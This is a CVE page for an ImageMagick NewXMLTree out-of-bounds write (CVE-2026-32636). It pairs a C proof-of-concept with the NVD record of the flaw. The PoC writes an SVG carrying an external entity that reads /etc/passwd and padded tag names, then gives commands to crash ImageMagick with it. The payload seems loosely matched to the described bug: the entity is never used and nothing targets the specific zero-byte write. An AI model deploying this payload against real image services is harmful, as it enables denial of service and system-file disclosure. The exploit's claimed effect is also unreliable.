CVE-2026-32636

/* CVE-2026-32636 PoC - ImageMagick NewXMLTree Out-of-Bounds Write This PoC creates a malicious XML payload that triggers the OOB write in NewXMLTree. Target: ImageMagick < 7.1.2-17 or < 6.9.13-42 */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious XML payload designed to trigger OOB write in NewXMLTree // The payload exploits improper bounds checking during XML node parsing const char* create_malicious_xml() { return "<?xml version=\"1.0\"?>\n" "<!DOCTYPE root [\n" " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" "]>\n" "<root>\n" " <nodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\n" " <nestedAAAAAAAAAAAAAAAAAAAAAAAAAAAAA></nestedAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\n" " </nodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\n" "</root>"; } // Create SVG file with embedded malicious XML void create_poisoned_svg(const char* filename) { FILE* fp = fopen(filename, "w"); if (!fp) { perror("Failed to create file"); return; } fprintf(fp, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); fprintf(fp, "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"100\" height=\"100\">\n"); fprintf(fp, "<metadata>\n%s\n</metadata>\n", create_malicious_xml()); fprintf(fp, "<rect width=\"100\" height=\"100\" fill=\"red\"/>\n"); fprintf(fp, "</svg>\n"); fclose(fp); printf("PoC file created: %s\n", filename); } int main(int argc, char* argv[]) { const char* output_file = (argc > 1) ? argv[1] : "poc_cve2026_32636.svg"; printf("=== CVE-2026-32636 ImageMagick OOB Write PoC ===\n"); printf("Creating malicious SVG file...\n"); create_poisoned_svg(output_file); printf("\nTo trigger the vulnerability:\n"); printf("1. Use ImageMagick to process the generated file:\n"); printf(" convert %s output.png\n", output_file); printf(" identify %s\n", output_file); printf("2. Or use the ImageMagick API to load the file\n"); printf("\nExpected result: Application crash due to OOB write\n"); return 0; }

{"cve": {"id": "CVE-2026-32636", "sourceIdentifier": "[email protected]", "published": "2026-03-18T21:16:26.583", "lastModified": "2026-03-19T18:42:15.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to 7.1.2-17 and 6.9.13-42, the NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte. Versions 7.1.2-17 and 6.9.13-42 fix the issue."}, {"lang": "es", "value": "ImageMagick es software libre y de código abierto utilizado para editar y manipular imágenes digitales. Antes de las versiones 7.1.2-17 y 6.9.13-42, el método NewXMLTree contiene un error que podría provocar un bloqueo debido a una escritura fuera de los límites de un solo byte cero. Las versiones 7.1.2-17 y 6.9.13-42 solucionan el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.9.13-42", "matchCriteriaId": "AD59FE95-2A10-4792-8BE5-9AD12855CE31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0-0", "versionEndExcluding": "7.1.2-17", "matchCriteriaId": "4A584CA7-8784-472F-B603-8E922D6768B5"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-17", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gc62-2v5p-qpmp", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.11.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}]}}